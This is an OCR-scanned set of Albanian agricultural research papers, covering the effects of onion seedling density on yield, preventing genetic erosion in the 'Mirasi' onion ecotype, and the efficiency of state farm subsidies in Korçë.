Nga parametrat e karakterit morfologjik u pércaktuan: -lartésia e biméve; - trashésia
e kércellit té rremé; -numri i gjetheve; -diametri polar dhe ekuatorial i bulbit. Né
pérfundim, té dhénat e marra iu nénshtruan pérpunimit statistikor dhe diferencat e
mesatareve u krahasuan me DMV-té pérkatése.

3. Rezultatet dhe diskutimi
3. 1. Karakteristikat e biméve
3. 1. 1. Lartésia e biméve

Té dhénat e gjatésisé sé biméve jepen né tabelén nr. 2. Nga analiza
statistikore e té dhénave té tabelés pér gjatésiné e biméve vértetohen ndryshime té
réndésishme statistikore pérsa i pérket ndikimit té dendésisé sé mbjelljes. Duke
krahasuar diferencat midis mesatareve té varianteve me DMV-té e llogaritura,
vérehet se bimét e variantit V. 1 (njé bimé né kubik) rezultojné me lartési mé té
madhe (64. 29 cm/bimé) dhe kané diferenca té vértetuara pér té dy nivelet
propabilitare 0. 05 dhe 0. 01%, krahasuar me té gjithé variantet e tjera. Pas tij vjen
varianti V. 2 (dy bimé pér kubik) me gjatési 60. 36 cm/bimé i cili ka diferenca té
vértetuara me variantin V. 3 (tre bime pér kubik) dhe V. 4 (katér bimé pér kubik)
pérkatésisht 58. 02 dhe 58. 68 cm/bimé vetém pér nivelin propabilitar 0. 05% si dhe
me variantin V. 5, 54. 18 cm/bimé pér té dy nivelet propabilitare 0. 05 dhe 0. 01%.
Nga rezultatet e arritura dhe té pasqyruara né tabelé vérehet njé ulje e gjatésisé sé
biméve me rritjen e dendésisé sé tyre.
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Tabela nr. 2. Lartésia e biméve (cm)

Numri i biméve né fole
Lloji i| V1 \ V2 \ V3 \ V4 \ V5 Mesatarja
substratit Lartésia e biméve
S1 63.27 |59.77 |58.17 57.87 | 54.07 | 58.62
S2 64.90 |61.20 |58.73 59.77 |55.03 |59.92
S3 64.70 | 60.10 |57.17 58.40 | 53.43 | 58.76
Mesatarja 64.29 | 60.36 | 58.02 58.68 | 54.18

DMV (005) =1.86 DMV (0o1) = 2.77

Nuk u vértetuan ndryshime té réndésishme né lartésiné e biméve né vartési té llojit
té substratit, kjo pér shkak se né toké rrénjét zhvillonen mé né gjerési dhe thellési
dhe gjejné kushte té njéjta ushgimi.

3. 1. 2. Numri i gjetheve pér bimé

Nga analiza statistikore e rezultateve t& marra pér numrin e gjetheve pér
bimé té pasqyruara né tabelén nr. 3 rezulton se diferenca té vértetuara statistikisht
ndérmjet mesatareve me DMV-té pérkatése kemi vetém pér sa i pérket faktorit
dendési. Pra, faktori dendési bimésh béhet burim ndryshueshmérie pér tiparin numér
gjethesh pér bimé né rastin e studimit toné. Nga té dhénat e tabelés 3 duket se
numrin mé té madh té gjetheve e kané arritur bimét e variantit V. 1 (njé bimé pér
fole ose 33 bimé/m2) me 9. 67 gjethe/bimé dhe mé pas vijné variantet V. 2, V. 3, V.
4, V. 5 me pérkatésisht 8. 51, 7. 88, 6. 80 dhe 6. 21 gjethe pér bimé, té cilét
gjithashtu jané me diferenca té vértetuara edhe me njéri-tjetrin pér té dy nivelet
propabilitare P = 0. 05% dhe P = 0. 01%.

Nuk vértetohen ndryshime té réndésishme pér efektin e llojit t€ substraktit né numrin
e gjetheve njésoj si edhe pér rastin e lartésisé sé biméve.

Tabela nr. 3. Numri i gjetheve pér bimé

Numri i biméve né fole
Lloji i substratit | V1 ‘ V2 ‘ V3 ‘ V4 ‘ V5 Mesatarja
Numri i gjetheve pér bimé
S1 9.30 8.23 7.03 6. 20 5.77 7.31
S2 9.93 9.23 8. 60 7.33 6.57 8.33
S3 9.80 8.07 8.00 6.87 6. 30 7.81
Mesatarja 9.67 8.51 7.88 6. 80 6.21

DMV (005) = 0.52 dhe DMV (001) = 0.78

3. 1. 3 Trashésia e kércellit té rremé

Edhe pér sa i pérket efektit té substratit dhe dendésisé sé biméve né
trashésiné e kércellit té rremé té biméve vértetohen ndryshime statistikore vetém pér
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faktorin dendési bimésh. Pra ashtu si né rastet e mésipérme faktori dendési bimésh
éshté béré burim ndryshueshmérie edhe pér trashésiné e kércellit té rremé té biméve.
Duke krahasuar diferencat e mesatareve té regjistruara né tabelén nr. 4 me vlerat
pérkatése t&é DMV-sé, vértetohet se trashésia mé e madhe e kércejve éshté arritur tek
varianti V. 1 (njé bimé pér fole ose 33 bimé/m? me 9. 53 mm/bimé, i cili éshté i
ndryshém nga varianti V. 2 (dy bimé/fole ose 66 bimé/m2) dhe variant V. 3 (tre
bimé/fole ose 100 bimé/m2) me pérkatésisht 8. 41 mm dhe 8. 39 mm pér nivelin
propabilitar 0. 05% dhe nga variantet V. 4 e V. 5 me respektivisht 6. 94 dhe 6. 37
mm, pér nivelet propabilitare 0. 05 dhe 0. 01%. Pas tij vijné variantet V. 2 dhe V. 3
pérkatésisht me dy dhe tre bimé pér fole dhe me trashési 8. 41 dhe 8. 31 cm té cilét
jané té ndryshém me gjithé variantet e tjeré por nuk kané diferenca midis tyre. Po
késhtu edhe variantet V. 4 dhe V. 5 jané né vlera té njéjta statistikore midis tyre
pérkatésisht 6. 94 dhe 6. 37 cm por ndryshojné me variantet e tjeré. Pra, si¢ shihet
nga rezultatet e arritura me rritjen e dendésisé sé biméve zvogélohet trashésia e
kércellit t& rremé.

Tabela nr. 4. Trashésia e kércellit té rremé té biméve né (mm)

Numri i biméve né fole
Lloji i|Vv1 \ V2 \ V3 \ V4 \ V5 Mesatarja
substratit Trashésia e kércellit t& rremé (mm)
S1 9.20 8.47 8.13 6. 67 5.87 7.67
S2 10.06 | 8.43 8.83 7. 60 6.70 8.32
S3 9.33 8. 33 8.20 6. 57 6. 53 7.79
Mesatarja 9.53 8.41 8. 39 6.94 6. 37

DMV (005)= 0. 79, DMV (001)= 1.19

3. 1. 4. Diametri Polar (H) dhe Ekuatorial (D) i bulbeve (cm)

Diferenca té vértetuara statistikisht vértetohen edhe pér diametrin polar dhe
ekuatorial té bulbeve vetém pér faktorin dendési bimésh. Dendésia e biméve béhet
shkak pér ndryshime né formén e bulbeve apo edhe madhésiné e tyre. Vlerat mé té
larta pérsa i pérket diametrit polar jané regjistruar tek variantet V. 1 dhe V. 3,
pérkatésisht 7. 18 dhe 7. 16 cm té cilét jané né vlera té njéjta nga piképamja
statistikore por ndryshojné nga gjithé variantet e tjera (tab. nr. 5).

Diametri ekuatorial me vlera mé té larta éshté vérejtur tek varianti V. 2 me
madhési 6. 71 cm i cili &shté i njéjté statistikisht me variantin V. 2 me 6. 69 cm dhe
té dy ndryshojné nga té gjithé variantet e tjeré V. 3, V. 4, dhe V. 5 me vlera
pérkatése 5. 86, 4. 90, 4. 73 cm (tab. nr. 6).
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Tabela nr. 5. Diametri Polar (H) i bulbeve né (cm)

Numri i biméve né fole
Lloji i| V1 \ V2 | V3 | V4 \ V5 Mesatarja
substratit Diametri polar i bulbeve (cm)
S1 7.11 6. 17 7.15 5.19 4,43 6.01
S2 7.24 6. 10 7.18 5.15 5.12 6.16
S3 7.21 6. 05 7.15 5.23 4.29 5.99
Mesatarja 7.18 6.10 7.16 5.19 4.61

DMV (g5)= 0. 32, DMV (g01)= 0. 47

Tabela nr. 6. Diametri Ekuatorial (D) i bulbeve né (cm)

Numri i biméve né fole
Lloji i| Vi \ V2 \ V3 \ V4 \ V5 Mesatarja
substratit Diametri ekuatorial i bulbeve
S1 6.79 6.71 5. 89 4.70 4,55 5.73
S2 6. 70 6. 75 5. 88 4. 80 5.15 5.85
S3 6. 58 6. 67 5.82 5.21 4. 48 5.75
Mesatarja 6. 69 6.71 5. 86 4.90 (4.73

DMV (005)= 0. 54, DMV (001)= 0. 80

3. 2. Karakteristikat prodhuese
3. 2. 1. Prodhimi i bulbeve (kv/ha)

Dendésia e mbjelljes sé fidanéve né fushé, konsiderohet si njé nga faktorét mé té
réndésishém gé ndikon né rritjen dhe zhvillimin e bulbeve dhe né cilésiné e tyre.
Nga rezultatet e regjistruara dhe té pasqyruara né tabelén 7, vértetohen diferenca té
réndésishme pérsa i pérket efektit té dendésisé sé biméve né prodhimin e bulbeve.
Té dhénat e tabelés tregojné pér njé rritje té prodhimit me rritje té dendésisé sé
biméve. Nga krahasimi i diferencave ndérmjet mesatareve me DMV -té e llogaritura
vértetohet se rezultatet mé té mira né prodhim (1010. 30 kv/ha) jané arritur né
ngastrat e variantit V3 (tre bimé pér fole ose 100 bimé/m2), i cili ka diferenca té
vértetuara pér té dy nivelet propabilitare P=0. 05 dhe P=0. 01 me gjithé variantet e
tjeré V. 1, V. 2, V. 4, dhe V. 5 tek té cilét jané marré pérkatésisht 479. 87, 749. 77,
816. 40 dhe 653. 98 kv/ha bulbe. Pas tij vjen variant V. 4 (katér bimé né fole ose 133
bimé/m?) i cili ka diferenca té réndésishme pér nivelin propabilitar P=0. 05 dhe P=0.
01 me variantin V. 1 dhe V. 5, dhe é&shté i njéjté statistikisht me variantin V. 2.

Duke u bazuar né té dhénat e arritura, fidanét e pérgatitur me tre bimé pér fole, kané
dhéné rezultate mé té mira prodhuese, krahasuar me provat e tjera me njé, dy, katér
apo pesé bimé pér fole.
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Pra, mbas mbjelljes sé fidanéve né kushte té fushés sé hapur, rezulton se
fidanét e pérgatitur né kushte té dendésisé mé té vogél, kané prodhuar bulbe mé té
médhaja. Njé rezultat i tillé éshté marré edhe nga studiues té tjeré (Brewster, 1990,
Weerasinghe & Fordham, 1994. Me rritjen e numrit té fidanéve né fole, zvogélohet
pesha dhe diametri i bulbit té gepéve né kushte té fushés.

Kjo, mund té shpjegohet me efektet pér shkak té konkurrencés né rritje dhe numrit
mé té madh té biméve (Cardoso, 1999). Autoré té tjeré si Brewster (1990), Brewster
etj. (1991), gjithashtu kané evidentuar marrjen e bulbeve mé té vegjél, nga variantet
me numér mé té madh té biméve né fole. Weerasinghe & Fordham (1994), kané
studiuar ndikimin e numrit t& biméve pér fole (1-6), dhe kané véné re se fidanét e
pérgatitur me mé shumé se tre bimé pér fole, kané prodhuar bulbe mé té vegjél. Kjo
shpjegohet me efektin mé té madh konkurrues té fidanéve, duke ndikuar né
madhésiné e bulbit. Numri mé i madh i biméve né qeliz&, ndikon né zvogélimin e
peshés dhe diametrit té bulbit, pér shkak té& konkurrencés né rritje té fidanéve gé
gjenden né mesin e folesé (Cardoso, 1999). Rezultatet e studimit toné kané
evidentuar se gepét prodhojné bulbe mé té vegjél, né variantet ku numri i fidanéve té
pérgatitur né njé gelizé éshté mé i madh.

Tabela nr. 7. Prodhimi mesatar i bulbeve (kv/ha)

Numri i biméve né fole

Lloji i| V1 \ V2 \ V3 \ V4 \ V5 Mesatar

substratit Prodhimi i bulbeve kv/ha ja

S1 573. 702. 90
462.20 | 732.59 |985.47 |761.14 |09

S2 691. 773.39
495.62 | 769.19 | 1022.62 |888.09 | 45

S3 697. 749. 91
481.80 | 747.52 | 1022.85 | 799.97 | 40

Mesatarja 653.
479.87 | 749.77 | 1010.31 | 816.40 | 98

DMV (005) = 88. 62 DMV (001)= 132. 44

4. Pérfundime

Lloji i substratit té pérdorur pér pérgatitjen e fidanéve nuk ka pasur efekte
domethénése né treguesit e tyre, si dhe né sasiné dhe cilésiné e prodhimit né
kushte té fushés sé hapur.

Té dhénat tona tregojné se efekti konkurrues i biméve gjaté pérgatitjes sé
fidanéve konsiderohet shumé i réndésishém, pasi ndikon né sasiné e prodhimit
dhe tregues té tjeré prodhues.

Fidanét e pérgatitur né kushte té& dendésisé mé té madhe, kané trashési mé té
vogél té kércellit té rremé, pér shkak té konkurrencés mé té madhe, e cila ndikon
né fazat e zhvillimit nga mbirja e farés deri né formimin e bulbit.
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Pér trapiantim fidanét e pérgatitur me dendési tre bimé pér fole, kané dhéné
rezultate mé té mira prodhues, krahasuar me provat e tjera me mé pak apo mé
shumé bimé pér fole.
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EROZIONI GJENETIK NE BIMET ALLOGAME DHE MASAT PER
NDALIMINETIJ

Zeni Myrtollari

Pérmbledhje
Té gjitha bimét e kutlivuara sipas biologjisé florale, klasifikohen né tre grupe:

a) Bimé autogame (autofekonduese)
b) Bimé allogame (me pllenim té krygézuar)
c) Bimé me shtim vegjetativ

Bimét allogame nése nuk kultivohen nén njé rregjim té kontrolluar gjaté procesit té
lulézimit té tyre, kané tendencén e njé degjenerimi marramendés, i cili shprehet si né
tiparet genotipike ashtu dhe né ato fenotipike.Kjo éshté arsyeja kryesore qé shumé
genotipe té specieve perimore allogame, té jené degjeneruar dhe tani éshté shumé e
véshtiré pér t’i ristrukturuar gjenetikisht ato.

Studimi yné bén fjalé pér kulturén e gepés, ekotipi “MIRASI”, kultivuar
herét, me njé adoptueshmeéri té larté vecanérisht né zonén e DEVOLLIT.

Pér ta mbrojtur kété kultivar nga erozioni gjenetik pér efekt té pllenimeve té
pakontrolluara, vendosim té prodhojmé farén elite me metodén e zgjedhjes
individuale t& bulbave mémé me karakteristikat mé pozitive si né parametrat organo
— leptiké ashtu dhe né ato agronomiké dhe kimiko — teknologjiké.

Né lidhje me ndjeshmériné ndaj inbridingut, gepa (Allium Cepa L)
pérfshihet né grupin e mesém, ku ndikimi i kétij fenomeni depresiv éshtéjoi pakté.

Konstatojmé se tek kultivari “MIRASI” vérehen deformime t€ formés sé
bulbit, ulje t& géndrueshmérisé ndaj sémundjeve, rénies sé pérmbajtjes sé acidit
piruvik, ulje té produktivitetit dhe shkurtim té kohés sé konservimit pas vjeljes.
Fjalét kyc: kultura perimore, kultivari ‘MIRASI”, inbriding, depresion gjenetik.

Abstract

Based on the ways of their reproduction all cultivated crops can be classified in the
following groups:

a) Autogamous plants
b) Allogamous plants
¢) Vegetatively — reproduced plants

If not cultivated under strictly controlled procedures during the
inflorescence period, the allogamous plants tend to rapidly degenerate their
genotypic structure which results to the degeneration of their phenotypic
characteristics. This is the main reason why many allogamous vegetable plants are
degenerated and it is very difficult to reestablish their genotypic structure.

Our study deals with the “Mirasi” ecotype of onion species (Allium cepa). This
ecotype is cultivated since long time ago by the local farmers. That’s why it is well
adapted in the ecological conditions of Devolli zone.
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We decided to produce a high quality seed named “super elite” for the above
mentioned ecotype in order to avoid genetic erosion that happens when the
pollination process is out of control. The selection of individual parental onion bulbs
was made based on their organ — leptic characteristics, accompanied with the
evaluation of their agronomic and technologic traits under the specific climatic
conditions of Devolli zone.

During our study of “Mirasi” cultivar we have observed the deformation of
onion bulbs, low resistance to plant diseases, reduction of pyruvic acid content,
lower economic yield, and a reduction of the post — harvest storage time.

Key words: vegetable cultivar, “Mirasi” ecotype, inbreeding, genetic depression.

Hyrje

Né grupin e biméve perimore, gepa zé njé vend té réndésishém. Kjo kulturé
perimore z€ vendin e katért né prodhimin botéror té perimeve.Ajo kultivohet né njé
areal té gjeré klimaterik gé fillon nga 10° té gjerésisé gjeografike dhe pérfundon né
65°.

Prodhimi botéror i saj arrin né rreth 30 milion ton né njé sipérfage totale prej
1 milion Ha.

Edhe né vendin toné kjo kulturé perimore mbillet né té gjitha garget e vendit, me
preferencé tokat e lehta dhe té pasura.Sipérfagja né shkallé vendi arrin né 400 ha.

Rendimentet luhatin nga 250 — 450 kv/ha.
Né ndryshim nga speciet e tjera perimore, gepén e shogérojné kéto tipare dalluese:

a) Bulboze

b) Fotoperiodike

¢) Shumévijecare (2 dhe 3 vjecare)

d) Pllenim i krygézuar
Fotoperiodiciteti tek gepa ka njé ndikim té fugishém mbi procesin e bulbézimit.Sa
mé néveri, aq mé shpejt fillon bulbézimi dhe e kundérta ndodh né jug.

Duhet té pranojmé gé kontinenti aziatik shquhet pér njé diversitet tepér té
larté gjenetik.

Komuniteti Evropian kultivon me qepé njé sipérfage prej 100.000 ha me njé
prodhim total prej 3 milion ton.

Diversiteti i madh i pérdorimit dhe egzigjencat e shumta klientele luajné njé
rol t& madh né zhvillimin varietal.Duke gené se krijimi i hibrideve té gepés éshté njé
teknologji e véshtiré e cila nuk mund té realizohet pa praniné e pérbérésve
prindérore té incuhtuara (linja inbrede), prodhimi i farés super — elité dhe elite
mbetet ményra racionale e ruajtjes sé genotipit dhe garantimi i prodhimeve té larta.

Tek kjo kulturé perimore sot vrojtohen 3 teknologji kultivimi:

1. Mbjellja né farishte
2. Mbijellje direkte e farés né fushé té hapur
3. Mbijellje me fidan dhe gepujké
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Qepa éshté njé bimé térésisht allogame pér shkak té njé fenomeni protandrie tepér té
pastér.

Realizimi i metodologjisé dhe interpretimi i rezultateve

Studimi né fjalé u krye né zonén e devollit, né fshatin menkulas, tek ngastra
e fermerit té kontaktit Lavdérim MIRA.

Toka ku u ngrit eksperimenti éshté tipike aluvionale me parametra té
pérshtatshme pedologjike dhe fiziko — kimike pér Kkultivimin e perimeve
bulboze.Parabima gruré.

Para ngritjes sé eksperimentit u morén mostrat pér analizat kimike né
thellési 0 — 20; 20 — 40cm.

Nga analizat e kryera né Q. T. T. B Korcé, rezultoi njé pjellori mesatare me
azot, fosfor dhe potas, me tendencé té pasur dhe konkretisht:

N =0, 13%
P=1,82mg
K=14, 2%

Plehérimi me makroplehra u krye konform pérllogaritijeve pér térealizuar njé
prodhim té kénagshém pér faré dhe bulba.Konkretisht u pérdorén: 110kg/ha azot
Iéndéaktive né trajtén e nitratit dhe uresé (50% + 50%).

Fosfor 90 kg/Ha léndéaktive né trajtén e superfosfatit té granuluar.Potasi
130kg/Ha léndéaktive né trajtén e klorurit té potasit.Plehrat fosfatike u pérdorén
70% e tyre para plugimit 26-30 cm dhe 30% para diskimit té paré.

Potasi u pérdor 50% para plugimit dhe 50% né vegjetacion.Plehrat azotike u
pérdorén né vegjetacion 40 dité para vjeljes sé prodhimit té bulbave dhe pjekjes sé
farés.

Né vitin 2011 né muajin shtator né njé ngastér t&é mbjellé me ekotipin
“MIRASI” u zgjodhén 1200 bulba, tipike t€ kultivarit pér tiparet fenotipike si forma
e bulbit, madhésia, gjendja fitosanitare.U zgjodhén bulbat me kalibrim midis 60 —
80mm. Bulbat u vendosén né arka plastike dhe u futén né frigorifer, duke u
konservuar nétemperaturé midis +1°C + 4°C, me lagéshti relative 92%.

Deri né momentin e mbjelljes né pranverén e vitit 2012, bulbat u kontrolluan
dhe u seleksionuan mé té dobétat.100 bulba u eleminuan pasi shfagén mbirje té
shpejta té embrioneve.

Mé 24 mars 2012, bulbat u mbollén né fushé té hapur né njé ngastér té
pérgatitur miré me parabimé gruré.

U pérdor njé agroteknologji normale sipas metodikés sé hartuar.Distancat e
mbjelljes sé bulbave 80 cm x 70 cm.

Prej bulbave u zhvilluan llastaret frutore duke formuar kagubet.U kryen disa
vrojtime fushore mbi ecuriné e zhvillimit t& ¢do bime té formuar.Té gjitha kagubet
gézotéronin 3 llastare frutore, e Q& paragesin prezencén e infeksioneve té
sémundjeve u eleminuan.
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Nga té 1100 bimét e frutifikuara u morén né studim 85% e tyre.Mé 21 maj
2012, pa filluar ende lulézimi i ombrellave, u krye izolimi me izolatoré té pérgatitur,
duke vendosur mé pare 4mbrojtése metalike me géllim gé izolatorét té mbyllin
hapésirat, pér ¢cdo hyrje té polenit.

Izolatorét u pérgatitén prej materiali té pérshtatshém, duke krijuar kushte té
favorshme pér njé autopllenim té shpejté.

Izolimi realizoi njé autofekondim strikt duke i dhéné shkas veprimit té
homozigozitetit, i cili shogérohet me uniformitet té tipareve, packa se ndihet rénie e
stabilitetit.

Efekti i autofekondimit tek bimét allogame éshté shumé méi fugishém,
krahasuar me autofekondimin tek autogamet.Pasi pérfundoi autofekondimi,
izolatorét u larguan dhe bimét u lané té lira deri né momentin e pjekjes sé farés.

Fotot e méposhtme reflektojné procedurat e trajtuara mbi izolimin e lulérive
dhe autofekondimin e detyruar.

Bimét me tipare regresive u eleminuan dhe farat e tyre u mblodhén mé vete,
duke mos u futur né ciklin e pérmirésimit gjenetik.

Gjaté periudhés nga mbjellja e bulbave e deri né pjekjen e farés u kryen
vrojtime dhe pérshkrime fushore mbi vitalitetin e ¢do kagube, géndresén mbi
infeksionet e deri tek cilésia fizike e farés. Té gjitha kagcubet pozitive u volén né
momentin e duhur kur fara arriti pjekuriné fiziologjike, e pasqyruar me ngjyrén e
saj.Fara e grumbulluar u depozitua némjedise té pastra dhe iu nénshtrua analizave
laboratorike.

Nga analiza laboratorike e kryer né laboratorin e Fakultetit t& Bugjésisé
Korgé, fara rezultoi me energji mbirése 92% dhe fugi mbirése 97%, parametra kéto
té pranishme pér konditat fushore.

Né pranverén e vitit 2013 fara e prodhuar pas autofekondimit do té mbillet
né farishte pér té prodhuar fidanét, té cilét do té mbillen né fushé té hapur pér té
prodhuar bulbat e ciklit 1l t& prodhimit té S. Elités.

Nga vrojtimet e kryera gjaté periudhés vegjetative mars — gusht 2012, u
konstatua gé bulbat me peshé mbi 200 gr dhe me diametér 80 mm kané tendencén té
japin kagube me mbi 3 llastaré frutore dhe me pérmasa mbi 80 cm gjatési.

Bimét e dobéta me Ilastaré mé pak se 4 dhe me dimensione nén 70 cm japin
ombrella té vogla, té deformuara dhe me sterilitet né periferi té ombrellés.

Gjithashtu, ombrellat e krijuara prej kétyre llastaréve frutore kané fara me
deformime gjeometrike, t& imta dhe me peshé mé té vogél té 1000 farave.

Névitin 1V té ciklit té dyté, bulbat do té lihen né hapésira té lira pér té kryer
polenizimin, por me kusht gé né njé hapésiré prej 2000 m té& mos jeté mbjellé asnjé
ngastér pér prodhim far€ qofté edhe e kultivarit “MIRASI”.

Polenizimi i liréi kontrolluar do té ndikojé fugishém né efektin e heterozisé
duke e shtyré popullatén bimore té qepés drejt njé heterogjeniteti brenda genotipit té
pastér té origjinés “MIRASI”.
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Pérfundime

Pérzgjedhja e bulbave mémé me tipare té konsoliduara fenotipike dhe genotipike
éshté themeli i njé pune gé garanton vazhdimési né cilésiné e farés sé gepés.

Izolimi né kohén e duhur i lulérive (llastaréve frutoré) dhe lloji i izolatorit me
aftési té larta ajrimi krijon kushte pér lehtési polenizimi dhe pllenimi.

Prania e fenomenit té protandrisé tek kjo specie perimore, pra e pjekjes mé herét
té polenit se asaj té krezés sé pistilit, térheq vémendjen pér specialistét pér
izolim té kujdesshém dhe né kohén e duhur. Né té kundért nuk evitohet
allogamia.

Gjaté ciklit té prodhimit té farés, plotésimi me fosfor garanton faré si né aspektin
sasior ashtu dhe né até cilésor.
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VLERESIME TE EFICENCES SEMBESHTETJES FINANCIARE
SHTETERORE PERBUJQESINENE QARKUN E KORCES

Adelida Osmani, Arben Kambo, Myslym Osmani
Banka Credins,Tirané, Universiteti “Fan S. Noli”, Korc¢é
Universiteti Bujgésor i Tiranés

Pérmbledhje

Eficenca e mbéshtetjes shtetérore pér bujgésiné shgiptare nuk éshté e vlerésuar ende,
ndonése ajo ka filluar gé né vitin 2007. Qarku i Korcés ka pérfituar shumé nga kjo
mbéshtetje, sidomos né mbjelljen e peméve frutore. Eficenca mund té vlerésohet me
metoda direkte ose me metoda te térthorta. Ky punim fokusohet né pérdorimin e
metodave té térthorta, té cilat mundésojné konstatimin e efektit si dhe njé vlerésim
jo sasior té tij. Né kété kuadér ne pérdorim metodén me pjesémarrje (té€ fermeréve)
pér té vlerésuar eficencén e mbéshtetjes financiare, duke realizuar njé pérpunim
statistikor dhe ekonometrik té rezultateve té intervistimit té njé mostre aksidentale té
ferméréve té zonés.Disa pérfundime kryesore jané: mbéshtetja financiare né garkun
e Korgés éshté e konsiderueshme, me impakt té dukshém dhe ajo pérgjithésisht éshté
eficente, pemétaria né pérgjithési mbetet sektori mé fitimprurés, i ndjekur nga
blegtoria.Duhet mbéshtetje financiare mé e madhe pér mbjelljen e peméve frutore
dhe té vreshtave si dhe mbéshtetje paralele dhe mé e fugishme pér pérpunimin e
produkteve bujgésore dhe blegtorale si dhe né ruajtijen dhe magazinimin e tyre.
Diversifikimi dhe pérmirésimi i portofolit té mbéshtetjes, si dhe késhillimi teknik mé
i miré, pérmirésimi i teknologjive dhe kapaciteteve agropérpunuese, do ta rriste si
impaktin ashtu edhe eficencén e mbéshtetjes financiare pér bujgésiné né kété zoné.

Fjalét gelés: Vlerésim, mbéshtetje financiare, eficencé, bujgési, metodé e térthorté.

Abstract

Efficiency of state support for Albanian agriculture is not yet assessed, although it
was started since 2007. Korga district has benefited greatly from this support,
especially in the cultivated fruit trees. Efficiency can be assessed by direct or
indirect methods. This paper focuses on the use of indirect methods which enable
the determination of the effect as well as a nonquantitative assessment.In this
context we use the approach with farmer’s participationto assess the efficiency of
financial support conducting an econometric and statistical processing of the results
of interviewing an accidental sample of farmers in the area. Some main conclusions
are: financial support in the region of Korga is considerable, with significant impact
and is generally efficient.Cultivated fruit trees, in general,remains the most
profitable sector followed by livestock. Need greater financial support forcultivated
fruit treesand vineyards as well as the most powerful parallel support for agricultural
and livestock products processing, preservation and storage.A improved,supported
and diversified portfolio as well as the best technical advice and technologies,
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would increase the impact and the efficiency of financial support for agriculture in
the area.

Key words: assessment, support, efficiency, agriculture, method,indirect
method,etc.

I-Hyrje

Qarku i Korgés, mé poshté shkurt “Korga”gshté njé nga zonat bujgésore me tradité
té hershme, me potenciale t¢ médha dhe mé e zhvilluar né shkallé vendi. Ai ka rreth
13% té tokés bujgésore né shkallé
vendi, 9% té fermave, 21 % té peméve

Grafiku 1: Sté“kt?raemkgse frutore né prodhim, 10% té vreshtave,
Te ne roree punua 13% té deleve, etj. Njé tregues gé bie
tjera r shumé né sy éshté se Korgca ka
26% 23% aktualisht rreth 55% té rrénjéve me
mollé.Madhésia e fermés né Korcé éshté
Livadh rreth 20% mé e madhe se ajo né shkallé
e dhe _ vendi, por Korca pérdor rreth 23% mé
Pyje k plehra kimike pér fermé se
kullot 36% pak  pienra AL
a mesatarja né shkallé vendi.
. 15% i Sig tregon edhe grafiku mé poshté, toka

e punuar né Korgé zé rreth 23% té
totalit té fondit té tokés, por edhe pyjet, kullotat dhe livadhet zéné peshé té
réndésishme.Korga pérbéhet nga katér rrethe: Korga, Pogradeci, Devolli dhe Erseka.
Rrethi i Korgés éshté mé i madhi, me mé shumé se gjysmén e sipérfages sé tokés sé
punuar né shkallé garku.

Njé nga karakteristikat kryesore té Korcés éshté se gjaté 20 viteve té fundit sektori
gé éshté zhvilluar ndoshta mé shpejt se té gjithé sektorét e tjeré Brenda bujgésisé
éshté pemétaria. Numri rrénjéve pemé frutore né krahasim me vitin 1990 éshté rritur
me 120.7%, ndérsa né krahasim me vitin 1994 éshté rritur me rreth 2.7 heré, ose
270%. Né ményré té ndjeshme éshté rritur numri i molléve.

Rritja né pemétari ka ardhur si nga investimet e fermeréve me burimet e veta
financiare, ashtu edhe nga mbéshtetja financiare gé ka dhéné geveria gé nga viti
2007.

Né periudhen 2007-2010 geveria ka mbéshtetur bujgésiné e Korgés me rreth 660
milioné leké.Kjo shumé éshté pérdorur pér mbjelljen e peméve frutore dhe té
vreshtave, pér ujitien me pika né pemétore dhe hapjen e puseve pér ujitje, pagesat
direkte pér kreré lopé ose dele, etj. Mbi 30% e mbéshtetjes ka shkuar pér mbjelljen e
peméve frutore, rreth 3% pér mbjelljen e vreshtave, rreth 15% pér pagesen e
fermeréve qé mbaréshtojné dele, etj.

Megjithé zhvillimin e vrullshém té pemétarise né Korgé dhe investimet e
konsiderueshme gé jané kryer nga buxheti i shtetit, ende nuk ka vlerésime pak a
shumé té plota dhe as té botuara té efekteve té mbéshtetjes financiare shtetérore né
kété gark. Problemi i kérkimit éshté mosnjohja e masés sé efektit, si dhe sa eficente
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ka gené kjo mbéshtetje pér bujqgésing, specifikisht né kété gark.Prandaj objektivi yné

éshté té kontribuojmé né vlerésimin e efektit apo eficencés sé& mbéshtetjes

financiare pér bujgésiné né zonén e Korgés. Né ményré specifike me anén e kétij

kérkimi ne synojmeé:

a. Té konstatojmé impaktin ose efektin e mbéshtetjes financiare

b. Té japim njé vlerésim nominal té eficencés pér drejtimet kryesore té
mbéshtetjes, vecanérisht pemétariné

c. Té kontribuojmé né pérpunimin e metodologjive té térthorta pér
konstatimin dhe vlerésimin e eficencés sé mbéshtetjes financiare

d. Té identifikojmé faktorét kryesoré gé ndikojné né rritjen e efektit ose né
pérmirésimin e eficencés sé saj

Né kété studim ne fillimisht trajtojmé pérgasjen dhe metodolgjiné gé kemi pérdorur
pér kryerjen e tij, duke vazhduar me analizén dhe diskutimin e rezultateve.Studimi
mbyllet me pérfundimet dhe rekomandimet kryesore.Disa nga rezultatet dhe
pérfundimet kryesore té studimit, jané:

Mbéshtetja financiare né garkun e Korcés éshté e konsiderueshme, me impakt té
dukshém dhe ajo pérgjithésisht éshté eficente, sepse mbéshteten sektorét
pérgjithésisht mé potenciale.

Pemétaria né pérgjithési mbetet sektori mé fitimprurés, i ndjekur nga blegtoria, por
edhe perimet nuk jané shumé larg dy sektoréve té paré. Nése do té vazhdohet me
pérparésité aktuale, ku mbjellja e peméve frutore ose vreshtave z€ peshén me té
madhe dhe éshté e pashogéruar me mbéshtetje me té madhe né pérpunimin e
produkteve bujgésore dhe blegtorale si dhe né ruajtje dhe magazinim, eficenca e
pérgjithshme e mbéshtetjes financiare do té ishte mé e vogél. Kushtet dhe tradita
jané faktorét mé té réndésishém qé e béjné efektive dhe eficente mbéshtetjen
financiare pér prodhimin e frutave.Pér prodhimet blegtorale faktoré mé té
réndésishém jané tregu dhe ¢mimi, dhe disi mé pak kushtet dhe tradita.Pér perimet
faktoré mé té réndésishém vlerésohen kushtet dhe ¢cmimi.Pér té gjithé sektorét,
keshillimi teknik, niveli jo i miré apo mungesa e teknologjive dhe mungesa e
kapacitetéve agropérpunuese né zoné mbeten faktorét me ndikim mé té forté negativ
mbi eficencén ekonomike né té gjjthé sektorét. Ka nje lidhje té konsiderueshme
statistikore midis eficencés né pemétari, dhe sidomos né perime, me pérdorimin e
inputeve bujgésore, dhe me rritjen e mundésive té agropérpunimit.

I1-Pérqasje, materiale dhe metoda

Pérgasja gé ne pérdorim né kété kérkim éshté ajo pjesémarrése, pra nga piképamija e
